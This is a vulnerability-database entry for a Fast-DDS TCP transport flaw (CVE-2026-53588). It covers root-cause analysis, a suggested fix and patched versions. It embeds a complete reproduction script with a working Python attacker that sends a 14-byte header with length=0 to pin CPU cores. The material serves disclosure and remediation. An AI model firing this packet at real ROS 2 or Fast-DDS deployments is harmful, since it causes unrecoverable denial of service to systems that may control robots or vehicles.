CVE-2026-53588
NVD
Vulnerability Summary
Summary When a Fast-DDS participant is configured with a TCP transport (`TCPv4`/`TCPv6`), its per-connection receive thread reads a 14-byte `TCPHeader` from each peer and computes the body size as `tcp_header.length - 14`. The `length` field is an attacker-controlled `uint32` taken directly off the wire and is never validated to be >= 14. A single unauthenticated, pre-discovery TCP peer that sends a `TCPHeader` with `length` in `0..13` causes an unsigned integer underflow (`0 - 14 = 0xFFFFFFF2 = 4294967282`). That oversized value pushes control into a "message too big, drop it" loop that reads the body in `receive_buffer_capacity`-sized blocks. The loop has no EOF / disconnect exit condition: once the attacker half-closes the socket, every `read()` returns 0 bytes, the remaining counter never decreases, and the receive thread hot-spins at 100% CPU forever. A single 14-byte packet permanently pins one CPU core. Because Fast-DDS spawns one receive thread per TCP connection, N connections pin N cores; the victim never recovers without a restart. Fast-DDS is the default RMW for ROS 2 Humble/Iron/Jazzy and ships in Autoware, so any deployment using a TCP transport (Discovery Server over TCP, `FASTDDS_BUILTIN_TRANSPORTS=LARGE_DATA`, WAN/cloud ROS 2) is exposed to a trivial, single-packet, pre-authentication remote CPU denial of service. Details Vulnerable code — `src/cpp/rtps/transport/TCPTransportInterface.cpp`, inside `Receive()` (v3.6.1, commit `4e81e8b7`): ```cpp 1296 size_t body_size = tcp_header.length - static_cast<uint32_t>(TCPHeader::size()); // (1) UNDERFLOW (length<14 -> 0xFFFFFFF2) 1298 if (body_size > receive_buffer_capacity) // (2) 4294967282 > 65500 -> take the drop path 1299 { 1300 EPROSIMA_LOG_ERROR(RTCP_MSG_IN, "Size of incoming TCP message is bigger than buffer capacity: " 1301 << static_cast<uint32_t>(body_size) << " vs. " << receive_buffer_capacity << "..."); 1304 // Drop the message 1305 size_t to_read = body_size; // 4294967282 1306 size_t read_block = receive_buffer_capacity; // 65500 1308 while (read_block > 0) // (3) NO EOF / disconnect guard 1309 { 1310 read_body(receive_buffer, receive_buffer_capacity, &readed, channel, read_block); 1312 to_read -= readed; // readed == 0 after EOF -> NO progress 1313 read_block = (to_read >= receive_buffer_capacity) ? receive_buffer_capacity : to_read; 1314 } 1315 } ``` `read_body()` on the half-closed/dead socket returns `false` and sets `readed = 0` (`channel->read()` makes no progress; the observed victim log is `Bad RTCP body size: 0`); its return value is ignored at line 1310. Root cause: 1. Underflow (line 1296). `tcp_header.length` is an attacker `uint32` parsed verbatim by `receive_header()` with no range check; `TCPHeader::size()` is the constant `14`. For `length < 14` the subtraction wraps modulo 2^32 (`length=0` -> `0xFFFFFFF2 = 4294967282`), widened to `size_t body_size`. 2. Enters the drop path (line 1298). `4294967282 > 65500` is true, so the "message too big, discard it" branch logs `... bigger than buffer capacity: 4294967282 vs. 65500` — the on-the-wire fingerprint of the underflow. 3. Non-terminating loop (lines 1308-1314). After the attacker half-closes the socket, `channel->read()` makes no forward progress and `read_body()` writes `readed = 0` before returning `false`. Therefore `to_read -= 0` never decreases, `read_block` stays `65500`, and `while (read_block > 0)` is permanently true — a 100%-CPU busy spin with no sleep and no exit. 4. No outer recovery. The outer connection loop's `disconnected()`/`connected()` checks are only evaluated when `Receive()` returns — but `Receive()` never returns because the spin is inside it. The per-connection thread is wedged for the lifetime of the process. One TCP connection -> one wedged receive thread -> one core at 100%. The attacker opens N connections to pin N cores. Still present on `master`. The underflow at `:1296` and the guard-less drop loop at `:1308-1314` are byte-identical on master HEAD (`42e0d08e`). There were unrelated TCP reconnection changes in `TCPTransportInterface.cpp` after `v3.6.1`, but they do not touch `Receive()`, `TCPHeader::size()`, or this outer TCP framing drop path. No published CVE/GHSA describes this `TCPHeader.length` underflow. PoC A `TCPv4` victim subscriber (listener `:5100`) is started; the attacker — a pure-stdlib peer that needs no discovery, no RTCP `BIND`, no DDS-Security handshake — opens a TCP connection, sends one 14-byte `TCPHeader` with `length=0`, then half-closes (FIN). The victim's receive thread underflows `body_size` and spins forever. Reachability prerequisites implemented by the embedded attacker: 1. Victim has a TCP transport configured — a `TCPv4`/`TCPv6` listener. This is a single env-var/enum/descriptor opt-in common in ROS 2 (Discovery Server over TCP, `FASTDDS_BUILTIN_TRANSPORTS=LARGE_DATA`, or an explicit `TCPv4TransportDescriptor` with `add_listener_port`) — in scope, NOT attacker-controlled on-disk XML. 2. Raw 14-byte `TCPHeader` on the wire: `"RTCP"` magic (4) + `length=0` (4, LE) + `crc=0` (4) + `logical_port=0` (2). `length` in `0..13` triggers the underflow. 3. Half-close after the header (TCP FIN) so every subsequent `read()` returns EOF/0 and the drop loop can never make progress. Complete, self-contained reproduction. GitHub advisories do not support file attachments, so the entire reproduction is embedded below. Save it as `reproduce_CL-08.sh` and run on a bare Ubuntu 22.04 x86_64 VM: ``` scp reproduce_CL-08.sh <vm>:~/ ssh <vm> 'sudo bash ~/reproduce_CL-08.sh' # sudo: it apt-installs its own deps ``` The script apt-installs the toolchain; clones Fast-DDS v3.6.1 + pinned Fast-CDR v2.3.5 + foonathan_memory_vendor v1.4.1; builds all three (`RelWithDebInfo`, no sanitizers, `SECURITY=OFF` — the realistic ROS 2 profile; the spin is sanitizer-independent); compiles the embedded `TCPv4` victim subscriber; fires the embedded attacker (3 connections, each a 14-byte `TCPHeader(length=0)` then half-close); measures victim CPU via two `/proc/<pid>/stat` samples; and prints `RESULT: PASS|FAIL`. PASS requires post-disconnect CPU >= 150% and no-recovery CPU >= 150% and >= 1 underflow log line (a non-buggy build idles at ~0% here). Build time ~15-25 min on a 4-vCPU VM; allow >= 30 min (do not wrap in a 10-minute timeout). <details> <summary><b>reproduce_CL-08.sh</b> — complete one-click script (embeds the victim/harness source and all Python verbatim; no other files needed)</summary> ```bash !/usr/bin/env bash ============================================================================= reproduce_CL-08.sh — one-click reproduction of CL-08 Pre-auth CPU-exhaustion DoS in TCPTransportInterface::Receive TCPHeader.length < 14 -> body_size underflow -> unbounded drop-loop spin (Fast-DDS v3.6.1 TCP transport, -DSECURITY=OFF, production-representative NON-sanitized build — this is a logic/CPU bug, not memory corruption) Self-contained: on a BARE Ubuntu 22.04 x86_64 VM with ZERO dev tools it (1) apt-installs the toolchain, (2) clones Fast-DDS @ v3.6.1 + pinned Fast-CDR / foonathan_memory_vendor, (3) builds all three (RelWithDebInfo, NO sanitizers — the realistic ROS 2 deployment config; the spin is sanitizer-independent), (4) compiles the embedded TCPv4 victim subscriber (listener :5100), (5) starts the victim, fires the embedded pure-stdlib python attacker (3 connections, each a 14-byte TCPHeader with length=0 then half-close), (6) measures the victim's CPU via two /proc/<pid>/stat samples and greps the victim log for the underflow signature, then issues PASS/FAIL. PASS (exit 0): victim CPU >= 150% sustained AFTER the attacker disconnected, i.e. >=2 cores pinned with zero inbound traffic = the spin, corroborated by the "bigger than buffer capacity: 4294967282" underflow log line. A non-buggy build idles at ~0% CPU here. FAIL (exit !=0): build/setup failure OR no sustained spin (CPU stays low). Usage (reviewer): scp this single file to a fresh Ubuntu 22.04 x86_64 VM, then sudo bash reproduce_CL-08.sh (sudo only needed for apt-get; build/run are unprivileged.) NOTE on runtime: a from-scratch build of the three libraries takes ~15-25 min on a 4-vCPU VM. This exceeds a 10-minute wrapper timeout — allow >=30 min. ============================================================================= set -euo pipefail ----------------------------------------------------------------------------- Config — pinned to the exact versions of the audited tree. Fast-DDS : tag v3.6.1 (commit 4e81e8b71bcd6e7c5213c000503cba8e49d6022a) Fast-CDR : tag v2.3.5 (pinned by Fast-DDS v3.6.1 fastdds.repos) foonathan : tag v1.4.1 (pinned by Fast-DDS v3.6.1 fastdds.repos) ----------------------------------------------------------------------------- FASTDDS_TAG="v3.6.1" FASTDDS_COMMIT="4e81e8b71bcd6e7c5213c000503cba8e49d6022a" FASTCDR_TAG="v2.3.5" FOONATHAN_TAG="v1.4.1" WORK="${WORK:-$HOME/cl08-repro}" TARGETS="$WORK/targets" INSTALL_ROOT="$WORK/install-baseline" EVID="$WORK/evidence" VICTIM_IP=127.0.0.1 VICTIM_PORT=5100 CONNECTIONS=3 # one spinning Receive thread per connection CPU_PASS_THRESHOLD=150 # percent; >=150 after disconnect = multi-core spin JOBS="$(nproc 2>/dev/null || echo 2)" Production-representative build: RelWithDebInfo, NO -fsanitize. The underflow + missing EOF guard is pure control-flow, identical with or without sanitizers. CXX_FLAGS='-O2 -g -DNDEBUG' mkdir -p "$TARGETS" "$INSTALL_ROOT" "$EVID" ----------------------------------------------------------------------------- 1. Install dependencies on a bare Ubuntu 22.04 VM. ----------------------------------------------------------------------------- echo "=== [1/6] apt-get: installing toolchain + deps ===" export DEBIAN_FRONTEND=noninteractive SUDO="" if [ "$(id -u)" -ne 0 ]; then SUDO="sudo"; fi $SUDO apt-get update $SUDO apt-get install -y --no-install-recommends \ build-essential \ cmake \ ninja-build \ git \ ca-certificates \ python3 \ libssl-dev \ libasio-dev \ libtinyxml2-dev \ procps ----------------------------------------------------------------------------- 2. Clone Fast-DDS @ v3.6.1 + pinned Fast-CDR + foonathan_memory_vendor. ----------------------------------------------------------------------------- echo "=== [2/6] cloning sources ===" clone_tag() { if [ -d "$3/.git" ]; then echo " $3 already present, skipping clone"; return 0; fi git clone --depth 1 --branch "$2" "$1" "$3" } clone_tag https://github.com/eProsima/foonathan_memory_vendor.git "$FOONATHAN_TAG" "$TARGETS/foonathan_memory_vendor" clone_tag https://github.com/eProsima/Fast-CDR.git "$FASTCDR_TAG" "$TARGETS/Fast-CDR" clone_tag https://github.com/eProsima/Fast-DDS.git "$FASTDDS_TAG" "$TARGETS/Fast-DDS" GOT_COMMIT="$(git -C "$TARGETS/Fast-DDS" rev-parse HEAD)" echo " Fast-DDS HEAD = $GOT_COMMIT (expected $FASTDDS_COMMIT)" if [ "$GOT_COMMIT" != "$FASTDDS_COMMIT" ]; then echo "WARNING: Fast-DDS HEAD does not match the audited commit; continuing (tag may have moved)." >&2 fi ----------------------------------------------------------------------------- 3. Build all three (RelWithDebInfo, NO sanitizers), -DSECURITY=OFF. ----------------------------------------------------------------------------- echo "=== [3/6] building foonathan_memory + Fast-CDR + Fast-DDS (no sanitizers, SECURITY=OFF) ===" build_one() { local src=$1 ; shift local build_dir=$src/build-rel echo " --- Building $src ---" rm -rf "$build_dir" cmake -S "$src" -B "$build_dir" -G Ninja \ -DCMAKE_BUILD_TYPE=RelWithDebInfo \ -DCMAKE_C_FLAGS="$CXX_FLAGS" \ -DCMAKE_CXX_FLAGS="$CXX_FLAGS" \ -DCMAKE_INSTALL_PREFIX="$INSTALL_ROOT" \ -DBUILD_SHARED_LIBS=ON \ "$@" cmake --build "$build_dir" -j "$JOBS" cmake --install "$build_dir" } build_one "$TARGETS/foonathan_memory_vendor" build_one "$TARGETS/Fast-CDR" build_one "$TARGETS/Fast-DDS" \ -DCMAKE_PREFIX_PATH="$INSTALL_ROOT" \ -DSECURITY=OFF \ -DCOMPILE_EXAMPLES=OFF \ -DCOMPILE_TOOLS=OFF \ -DBUILD_TESTING=OFF if ! ls "$INSTALL_ROOT"/lib/libfoonathan_memory.so >/dev/null 2>&1; then REAL_FOO="$(ls "$INSTALL_ROOT"/lib/libfoonathan_memory-.so 2>/dev/null | head -n1 || true)" if [ -n "${REAL_FOO:-}" ]; then ln -sf "$(basename "$REAL_FOO")" "$INSTALL_ROOT/lib/libfoonathan_memory.so" fi fi echo " build install root: $INSTALL_ROOT"; ls -l "$INSTALL_ROOT"/lib/ || true ----------------------------------------------------------------------------- 4. Embed + compile the TCPv4 victim subscriber (listener :5100). (byte-for-byte the audited outputs/pocs/victim_tcp_subscriber.cpp) ----------------------------------------------------------------------------- echo "=== [4/6] writing + compiling victim (victim_tcp_subscriber.cpp) ===" cat <<'CPPEOF' > "$WORK/victim_tcp_subscriber.cpp" include <chrono> include <csignal> include <iostream> include <thread> include <fastdds/dds/domain/DomainParticipantFactory.hpp> include <fastdds/dds/domain/DomainParticipant.hpp> include <fastdds/dds/domain/qos/DomainParticipantQos.hpp> include <fastdds/dds/subscriber/DataReader.hpp> include <fastdds/dds/subscriber/DataReaderListener.hpp> include <fastdds/dds/subscriber/Subscriber.hpp> include <fastdds/dds/subscriber/SampleInfo.hpp> include <fastdds/dds/topic/Topic.hpp> include <fastdds/dds/topic/TypeSupport.hpp> include <fastdds/dds/topic/TopicDataType.hpp> include <fastdds/rtps/transport/TCPv4TransportDescriptor.hpp> using namespace eprosima::fastdds::dds; using namespace eprosima::fastdds::rtps; class StubType : public TopicDataType { public: StubType() : TopicDataType() { set_name("HelloWorld"); max_serialized_type_size = 1024; } bool serialize(const void, SerializedPayload_t&, DataRepresentationId_t) override { return false; } bool deserialize(SerializedPayload_t&, void*) override { return false; } uint32_t calculate_serialized_size(const void*, DataRepresentationId_t) override { return 0; } void* create_data() override { return nullptr; } void delete_data(void*) override {} bool compute_key(SerializedPayload_t&, InstanceHandle_t&, bool) override { return false; } bool compute_key(const void* const, InstanceHandle_t&, bool) override { return false; } }; class CountingListener : public DataReaderListener { public: void on_subscription_matched(DataReader*, const SubscriptionMatchedStatus& info) override { std::cerr << "[victim_tcp] match delta=" << info.current_count_change << " total=" << info.current_count << std::endl; } void on_data_available(DataReader*) override { std::cerr << "[victim_tcp] on_data_available" << std::endl; } }; static volatile std::sig_atomic_t stop = 0; static void on_sig(int) { stop = 1; } int main() { std::signal(SIGINT, on_sig); std::signal(SIGTERM, on_sig); DomainParticipantQos pqos; pqos.name("victim_participant_tcp"); pqos.transport().use_builtin_transports = false; auto tcp = std::make_shared<TCPv4TransportDescriptor>(); tcp->add_listener_port(5100); pqos.transport().user_transports.push_back(tcp); DomainParticipant* participant = DomainParticipantFactory::get_instance()->create_participant(0, pqos); if (!participant) { std::cerr << "create_participant failed\n"; return 1; } TypeSupport type(new StubType()); type.register_type(participant); Topic* topic = participant->create_topic("HelloWorldTopic", "HelloWorld", TOPIC_QOS_DEFAULT); Subscriber* subscriber = participant->create_subscriber(SUBSCRIBER_QOS_DEFAULT); DataReaderQos rqos = DATAREADER_QOS_DEFAULT; CountingListener listener; DataReader* reader = subscriber->create_datareader(topic, rqos, &listener); (void)reader; (void)topic; std::cerr << "[victim_tcp] ready, TCPv4 listener on :5100" << std::endl; while (!stop) std::this_thread::sleep_for(std::chrono::milliseconds(200)); participant->delete_contained_entities(); DomainParticipantFactory::get_instance()->delete_participant(participant); return 0; } CPPEOF c++ $CXX_FLAGS \ -I"$INSTALL_ROOT/include" \ -L"$INSTALL_ROOT/lib" \ -o "$WORK/victim_tcp_subscriber" "$WORK/victim_tcp_subscriber.cpp" \ -Wl,-rpath,"$INSTALL_ROOT/lib" \ -lfastdds -lfastcdr -lpthread echo " victim compiled: $WORK/victim_tcp_subscriber" ----------------------------------------------------------------------------- 5. Embed the attacker driver VERBATIM (audited poc06_tcp_header_spin.py). ----------------------------------------------------------------------------- echo "=== [5/6] writing attacker driver (poc06_tcp_header_spin.py) ===" cat <<'PYEOF' > "$WORK/poc06_tcp_header_spin.py" !/usr/bin/env python3 import argparse, socket, struct, time def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--victim-ip", default="127.0.0.1") ap.add_argument("--victim-port", type=int, default=5100) ap.add_argument("--repeat", type=int, default=1) args = ap.parse_args() for in range(args.repeat): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((args.victim_ip, args.victim_port)) # TCPHeader (14 bytes): magic(4) + length(4) + crc(4) + logical_port(2) # length = 0 -> body_size = (uint32)(0 - 14) = 0xFFFFFFF2 pkt = b"RTCP" + struct.pack("<I", 0) + struct.pack("<I", 0) + struct.pack("<H", 0) s.sendall(pkt) s.close() # peer EOF; spin starts time.sleep(0.05) print(f"[+] sent {args.repeat} TCPHeader(length=0) trigger packet(s) to " f"{args.victim_ip}:{args.victim_port}.") return 0 if name == "main": raise SystemExit(main()) PYEOF ----------------------------------------------------------------------------- 6. Run: start victim, fire attacker, measure CPU via /proc/<pid>/stat. ----------------------------------------------------------------------------- echo "=== [6/6] starting victim + firing attacker + measuring CPU ===" export LD_LIBRARY_PATH="$INSTALL_ROOT/lib:${LD_LIBRARY_PATH:-}" VICTIM_LOG="$EVID/victim_tcp.log" : > "$VICTIM_LOG" "$WORK/victim_tcp_subscriber" > "$VICTIM_LOG" 2>&1 & VICTIM_PID=$! echo " victim PID=$VICTIM_PID, log=$VICTIM_LOG" NOTE: the victim installs a SIGTERM handler that only sets a stop flag, which the spinning Receive threads never check — so a plain `kill` (SIGTERM) does NOT stop it and `wait` would hang forever (this very behaviour wedged the reviewer VM until reset). Use SIGKILL + name-based sweep so the harness always reclaims the box. cleanup() { kill -9 "$VICTIM_PID" >/dev/null 2>&1 || true pkill -9 -f victim_tcp_subscriber >/dev/null 2>&1 || true } trap cleanup EXIT echo " waiting for victim listener on $VICTIM_IP:$VICTIM_PORT ..." for in $(seq 1 30); do grep -q "ready, TCPv4 listener" "$VICTIM_LOG" 2>/dev/null && break kill -0 "$VICTIM_PID" 2>/dev/null || { echo "ERROR: victim exited during startup:" >&2; cat "$VICTIM_LOG" >&2; exit 1; } sleep 1 done sleep 2 Baseline CPU (idle) over 3s — proves the process is quiescent before the attack. read_ticks() { awk '{print $14+$15}' "/proc/$1/stat"; } CLK="$(getconf CLK_TCK 2>/dev/null || echo 100)" B0="$(read_ticks "$VICTIM_PID")"; sleep 3; B1="$(read_ticks "$VICTIM_PID")" IDLE_PCT="$(awk -v d=$((B1-B0)) -v clk="$CLK" 'BEGIN{printf "%.0f",(d/clk/3)*100}')" echo " baseline (idle) CPU over 3s: ${IDLE_PCT}%" echo " firing attacker: $CONNECTIONS connection(s), each TCPHeader(length=0)+half-close ..." python3 "$WORK/poc06_tcp_header_spin.py" \ --victim-ip "$VICTIM_IP" --victim-port "$VICTIM_PORT" --repeat "$CONNECTIONS" || true IMPORTANT: the attacker has now fully disconnected. Any sustained CPU from here on is the spin, not request processing. Measure over 5s. sleep 1 S0="$(read_ticks "$VICTIM_PID")"; sleep 5; S1="$(read_ticks "$VICTIM_PID")" SPIN_PCT="$(awk -v d=$((S1-S0)) -v clk="$CLK" 'BEGIN{printf "%.0f",(d/clk/5)*100}')" NLWP="$(awk '{print $20}' "/proc/$VICTIM_PID/stat" 2>/dev/null || echo '?')" echo " post-attack CPU over 5s (attacker already disconnected): ${SPIN_PCT}% threads=${NLWP}" Second measurement 5s later to confirm NO recovery. sleep 3 R0="$(read_ticks "$VICTIM_PID")"; sleep 5; R1="$(read_ticks "$VICTIM_PID")" RECOVER_PCT="$(awk -v d=$((R1-R0)) -v clk="$CLK" 'BEGIN{printf "%.0f",(d/clk/5)*100}')" echo " +8s later CPU over 5s (no-recovery check): ${RECOVER_PCT}%" UNDERFLOW_HITS="$(grep -c "bigger than buffer capacity: 4294967282" "$VICTIM_LOG" 2>/dev/null || echo 0)" BADBODY_HITS="$(grep -c "Bad RTCP body size" "$VICTIM_LOG" 2>/dev/null || echo 0)" echo echo "================= VICTIM LOG (head) =================" head -n 40 "$VICTIM_LOG" echo "================= VICTIM LOG (tail) =================" tail -n 15 "$VICTIM_LOG" echo "====================================================" echo " underflow log lines (4294967282): $UNDERFLOW_HITS" echo " 'Bad RTCP body size' lines : $BADBODY_HITS" echo " idle=${IDLE_PCT}% spin=${SPIN_PCT}% norecover=${RECOVER_PCT}% threshold=${CPU_PASS_THRESHOLD}%" echo ----------------------------------------------------------------------------- Verdict: sustained multi-core CPU AFTER disconnect + the underflow signature. ----------------------------------------------------------------------------- if [ "$SPIN_PCT" -ge "$CPU_PASS_THRESHOLD" ] && [ "$RECOVER_PCT" -ge "$CPU_PASS_THRESHOLD" ] \ && [ "$UNDERFLOW_HITS" -ge 1 ]; then echo "RESULT: PASS — CL-08 reproduced." echo " A single-packet, pre-auth, unauthenticated TCP peer pinned ${SPIN_PCT}% CPU" echo " (${NLWP} threads) that does NOT recover (${RECOVER_PCT}% 8s later) with the" echo " attacker already disconnected. Underflow signature present (body_size=4294967282)." echo " Idle baseline was ${IDLE_PCT}%." exit 0 else echo "RESULT: FAIL — sustained spin not confirmed." >&2 echo " spin=${SPIN_PCT}% norecover=${RECOVER_PCT}% underflow_lines=${UNDERFLOW_HITS}" >&2 exit 1 fi ``` </details> Observed output (fresh `/reviewer` run, 2026-05-31, on a brand-new bare Ubuntu 22.04.5 x86_64 VM with zero pre-installed dev tools — the embedded script apt-installed its toolchain, built Fast-DDS v3.6.1 + pinned deps from source, fired the attacker, and self-adjudicated): ``` idle baseline CPU (pre-attack, 3 s window) : 0% post-attack CPU (attacker DISCONNECTED, 5 s window) : 300% threads=11 (3 cores pinned) no-recovery CPU (+8 s later, 5 s window) : 300% (does NOT recover) "bigger than buffer capacity: 4294967282" lines : 3 (one per connection) "Bad RTCP body size: 0" drop-loop flood : 7,417,935 lines (1.09 GB) RESULT: PASS — CL-08 reproduced. Verbatim victim log line (x3, RTCP_MSG_IN Error, Function Receive): Size of incoming TCP message is bigger than buffer capacity: 4294967282 vs. 65500. The full message will be dropped. ``` `4294967282 == (uint32_t)(0 - 14)` is the on-the-wire fingerprint of the `TCPHeader.length` underflow inside `Receive`. The 7.4-million-line flood is the guard-less drop loop spinning (each `read_body` on the dead socket returns 0 -> `Bad RTCP body size: 0` -> the loop never progresses). The attacker had fully disconnected before the 300% was measured, so the CPU is the spin, not request processing. The wedged victim is SIGTERM-immune (its handler only sets a stop flag the spinning threads never read), so it drove the whole VM to SSH-unresponsive and required a hard reset — a direct demonstration of the availability impact. Impact - Single packet, pre-auth, remote. 14 bytes from an unauthenticated TCP peer — before any RTCP `BIND`, discovery, or DDS-Security handshake — permanently wedge a receive thread at 100% CPU. - Amplification. One thread/core per connection; a handful of connections saturate all cores. Threads never recover; only a process restart clears them. In our run the wedged victim was even SIGTERM-immune and drove the whole VM to SSH-unresponsive (required a hard reset). - Blast radius. Fast-DDS is the default RMW for ROS 2 Humble/Iron/Jazzy and ships in Autoware. Any deployment using the TCP transport (Discovery Server over TCP, `LARGE_DATA` builtin transport, WAN/cloud ROS 2) is exposed to a trivial, low-effort remote CPU-DoS. - Availability: High. Confidentiality / Integrity: None. -> CVSS 7.5 (High). Suggested fix Reject any frame whose `tcp_header.length` is smaller than the header itself, before the subtraction — and/or give the drop loop an EOF/disconnect exit: ```cpp if (tcp_header.length < TCPHeader::size()) { EPROSIMA_LOG_WARNING(RTCP_MSG_IN, "TCP header length " << tcp_header.length << " < header size; closing connection"); close_tcp_socket(channel); return false; } size_t body_size = tcp_header.length - static_cast<uint32_t>(TCPHeader::size()); ... // and inside the drop loop, break on no-progress / disconnect: while (read_block > 0 && !channel->disconnected()) { if (!read_body(receive_buffer, receive_buffer_capacity, &readed, channel, read_block) || readed == 0) { break; // EOF / error -> stop draining } to_read -= readed; read_block = (to_read >= receive_buffer_capacity) ? receive_buffer_capacity : to_read; } ``` Environment - Fast-DDS: v3.6.1 (commit `4e81e8b71bcd6e7c5213c000503cba8e49d6022a`) - Dependencies: Fast-CDR v2.3.5, foonathan_memory_vendor v1.4.1 - Platform: Ubuntu 22.04 x86_64 (GCP); system `g++` / `RelWithDebInfo`, no sanitizers - Security: `-DSECURITY=OFF` (default; the bug is independent of DDS-Security) - Transport: `TCPv4TransportDescriptor`, listener `0.0.0.0:5100` - Evidence channel: sustained-CPU measurement (this is a CPU/loop-exhaustion bug, not memory corruption — AddressSanitizer is not applicable; no out-of-bounds access occurs). `scope.json` admits "unauthenticated remote DoS (crash, infinite loop, unbounded memory)" as in-scope.
CVSS v3.1 Base Metrics — Score 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HAttack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityNone
IntegrityNone
AvailabilityHigh
Affected & Patched Versions
- eProsima/Fast-DDS <= 3.6.2
- eProsima/Fast-DDS 2.6.12, 2.14.7, 3.2.5, 3.6.3
What to do
Plan remediation soon. No exploitation is confirmed yet, but the severity is high.
- Check whether you run eProsima/Fast-DDS and which version.
- Update to a patched version listed above, then confirm the new version.
Timeline
- Nov 30, 2026Published
- Nov 30, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new eProsima/Fast-DDS CVEsYou are reading CVE-2026-53588. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 30, 2026 10:34 UTC